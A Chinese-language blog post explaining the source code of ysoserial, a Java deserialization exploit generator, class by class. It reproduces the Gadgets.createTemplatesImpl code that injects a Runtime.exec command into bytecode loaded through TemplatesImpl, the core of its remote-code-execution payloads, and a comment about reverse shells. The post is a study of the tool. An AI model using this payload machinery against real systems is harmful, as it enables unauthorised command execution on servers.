ysoserial源码详解

ysoserial源码详解

IAST后端基本写的差不多了,所以为了写前端,最近正在学习electron,想先拿个东西练练手,于是打算为ysoserial做一个前端界面同时加一些自己的特性,那么既然要二开必然要学习原项目,那么顺手写个文章方便以后复习。

代码结构

ysorerial的代码结构如下,包括这三个块:
exploitpayloadssecmgr

下面来简单介绍一下每个块的具体用途。

exploit包

这个包内的内容主要用于对不同的目标进行实际的攻击。

payloads包

annnotation包

这个包内主要包含了一些注解相关的信息,主要用力标识作者之类的提示信息。

Authors注解

这个文件定义了一个注解,其中包含了一些作者信息,是用来标记gadgate的作者的,没什么特别好说的。

Dependencies注解

检索依赖信息的注解。

PayloadTest注解

用来标记gadgate是否需要被测试,是否测试的时候会引发什么异常情况之类的东西,是用来测试gadgate的。

Util包

Util模块是一个工具模块,里面包含了像类文件操作,反射操作等的小工具,为yso中大量使用的重复性操作做一个封装。

ClassFiles类

ClassFiles类的作用是处理类文件,在ysoserial中经常会涉及到类文件读取的操作,因此将其放在了一个单独的类里面方便使用,详细说说其中的各种方法。

  • classAsFile方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}

public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}

classAsFile方法有两个重载,总的来说是获取class的路径用的,这个方法在处理反射、类加载器、或者需要根据类名获取类文件路径的场景中非常有用。例如,在自定义类加载器或进行字节码分析时,这种将类名转换为类文件路径的功能是非常基础且重要的。
第二个重载也就是核心所在,通过getEnclosingClass()方法获取传入的是否是内部类,如果不是那么直接返回如com/springkill/clazz这样的字段,如果是那么就返回com/springkill/clazz$1这样的字段,然后根据suffix表示的内容判断在末尾是否加上.class的后缀。

  • classAsBytes方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

这个方法就是简单的将类转换为byte[]供后面使用。

Gadgets类

总的来说这个类包含了多个方法,主要用于动态创建和操作Java对象。
先说两个内部类:

内部类:StubTransletPayload类

这个内部类用于演示反序列化,继承自AbstractTranslet类,并且实现了transform方法,为后面的操作提供一个看起来无害的”载体”。

内部类:Foo类

定义了序列化版本,没有多余操作,后文将作为辅助类使用。

类中的方法
  • 静态代码块区

这块代码初始化了两个系统属性分别允许TemplatesImpl的反序列化和允许RMI远程加载。

  • createMemoitizedProxycreateProxy方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

//创建一个自定义sun.reflect.annotation.AnnotationInvocationHandler实例
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

//动态创建代理,实现所有给定接口
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
//使用cast进行类型转换
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

这两个方法创建了任意代理类,实现了动态创建任意接口的实现并且进行自定义,其中调用的createMemoizedInvocationHandler方法创建一个自定义的sun.reflect.annotation.AnnotationInvocationHandler实例,然后通过createProxy创建一个代理类。

  • createMap方法

使用给定的keyvalue创建一个HashMap,因为ysoserial在使用过程中需要频繁地创建HashMap所以将这个操作封装。

  • 两个createTemplatesImpl方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public static Object createTemplatesImpl ( final String command ) throws Exception {
//检查properXalan的值是否被设定为了True,如果是那么就使用if块内的逻辑,否则调用重载方法
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}


public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
//反射创建实例
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath( StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
// 初始化cmd字符串
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
// 插入cmd到静态代码块
clazz.makeClassInitializer().insertAfter(cmd);
// 给类设置名字 sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 设置父类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

// 转换为字节码数组
final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

这个类主要是用来初始化TemplatesImpl的。
第一个createTemplatesImpl方法通过检查properXalan属性的值来判断是使用内置的org.apache.xalan.xsltc.trax.TemplatesImpl还是使用外部 Apache Xalan 项目提供的类(这并不是一个标准的官方系统属性),如果为True那么就使用重载方法传入的类。
那么再来说说重载方法,先实例化了一个templates,然后使用Javassist进行字节码操作,创建一个ClassPool的实例,然后将内部类StubTransletPayload.class和传入的abstTranslet放入其中,然后获取StubTransletPayloadCtClass表示clazzCtClassJavassist中表示类的对象),然后将command包装成Runtime执行命令的代码,最后插入到clazz的静态代码块中,最后修改clazz的父类,并将clazz转换为字节码数组。
以上准备工作做完后开始使用反射修改templates_bytecodes字段,将刚才准备好的clazz的字节码表示和内部类Foo写入其中,然后设置_name字段和_tfactory字段,其中_tfactory字段需要一个TransformerFactoryImpl实例,由传入的transFactory类使用反射来创建。

  • makeMap方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();
// 反射设置size字段为2
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
// 对于Java8之后的HashMap,获取java.util.HashMap$Node
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
// 对于Java8之前的HashMap,获取java.util.HashMap$Entry
nodeC = Class.forName("java.util.HashMap$Entry");
}
// 获取构造函数并设置setAccessible以供直接访问,创建节点
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
Reflections.setAccessible(nodeCons);

// 创建数组用来存储nodeC节点
Object tbl = Array.newInstance(nodeC, 2);
// 将v1和v2作为key、value放入到节点中,然后再插入法哦数组内,最后将数组放到HashMap中
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}

这个类用来初始化HashMap实例,首先创建一个HashMap然后设置其大小为2,根据JDK版本的不同决定nodeC的类型然后获取对应的构造函数,之后创建一个大小为2的数组将两个节点初始化后放入(节点的keyvalue都为v1v2),最后将数组放入HashMap中并返回。

JavaVersion类

这个没什么好说的,就是检测Java版本用的。

PayloadRunner类

这个类看名字就知道是测试payload用的,执行一次序列化和反序列化的过程,看能否达到预期的目的,不过多说。

Reflections类

这个类是将yso中经常使用的反射操作做一个封装来方便使用。

  • setAccessible方法

这个方法根据使用Java版本的不同为传入的member执行setAccessible操作,来修改FieldMethodConstructor的可访问性。

  • getField方法

获取指定类及其父类中声明的特定字段。如果在当前类中找不到字段,会递归地在其夫类中查找。

  • setFieldValuegetFieldValue方法

这两个方法分别用于设置和获取对象的指定字段值。它们使用getField来访问字段,然后调用Field.setField.get来修改或检索值。

  • getFirstCtor方法和newInstance方法

获取构造函数和创建其对应的实例所使用的方法。

  • createWithoutConstructor方法和createWithConstructor方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
// 生成伪构造函数
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}

这两个方法比较有意思,createWithConstructor使用了newConstructorForSerialization方法创建一个伪构造函数,然后实例化并返回。

newConstructorForSerialization方法不需要对应的类有默认构造函数,也不需要真正地执行构造函数就可以直接创建一个对象实例。因为它通过字节码的形式生成了ConstructorAccessor接口。

ObjectPayload接口

这个接口是所有payload的父类,也就是链子具体实现的父类,接口本身没什么,不过它里面还有一个Utils的内部类,可以详细说说这个内部类中的各种方法。

  • getPayloadClasses方法

该方法用来查找和返回所有实现了ObjectPayload接口的类,没什么特别的。

  • getPayloadClass方法

通过名字加载具体的链子实现,并且判断是不是ObjectPayload的子类,如果不是则不加载。

  • makePayloadObject方法

使用getPayloadClass方法获取具体的链子的类,然后将其实例化。

  • 两个releasePayload方法

用来清理Payload

ReleaseableObjectPayload接口

这个接口是用来和releasePayload方法配合使用,用来清理释放指定Payload的。

secmgr包

这个包里面包含了两个SecurityManager的子类,用来更改安全检查的一些逻辑。

DelegateSecurityManager类

作为一个代理,继承自SecurityManage,指定一个SecurityManager实例进行安全检查用。
前面为了支持JDK10以后的兼容性,将getInCheckcheckTopLevelWindowcheckSystemClipboardAccesscheckAwtEventQueueAccesscheckMemberAccess的具体实现清空。
然后重写了SecurityManager中的很多方法,将其具体处理委托给成员变量securityManager

ExecCheckingSecurityManager类

这个类同样继承自SecurityManage类,用来检查是否执行命令,并决定是否抛出异常。

Deserializer类

这个类封装了在yso中经常使用的反序列化操作,这段代码和前面的PayloadRunner配合使用来测试payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class Deserializer implements Callable<Object> {
private final byte[] bytes;

// 将接受的字节数组存入成员变量
public Deserializer(byte[] bytes) { this.bytes = bytes; }

// 实现call方法,调用时反序列化字节数组
public Object call() throws Exception {
return deserialize(bytes);
}

// 数组转换为流
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}

// readobject
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}

// 入口
public static void main(String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Object object = deserialize(in);
}
}

Serializer类

这个类封装了yso中经常使用的序列化操作,提供便捷,和上面的Deserializer类很相似,不过多说明。

GeneratePayload类

名字上看就是生成Payload使用的类,简单说下。

  • mian方法

mian方法接受命令行参数来选择链和命令,然后实例化并序列化后返回,如果失败则返回前面定义好的状态码然后退出程序。

  • printUsage方法

用来打印yso的使用方法,不过多说了。

Strings类

这个类就是将一些常用的字符串方法进行一个封装,如连接,重复,格式化、比较操作。

Yso是如何运作的?

那么说了上面很多的包以及类,肯定有的小伙伴听完还是一头雾水,下面就用一张图说明下yso具体是怎么运作的吧!

由控制台进行输入,获取gadget和需要执行的命令传入到入口GeneratePayload中,然后由GeneratePayload调用具体的ObjectPayload接口的实现来获取实例,在这个过程中ObjectPayload又去调用了GadgetsReflections等进行初始化然后将对象返回给GeneratePayload,最后GeneratePayload调用Serializer的序列化方法将其序列化后返回并打印到控制台。


ysoserial源码详解
http://www.springkill.club/2023/11/12/ysoserial源码详解/
作者
SpringKill
发布于
2023年11月12日
许可协议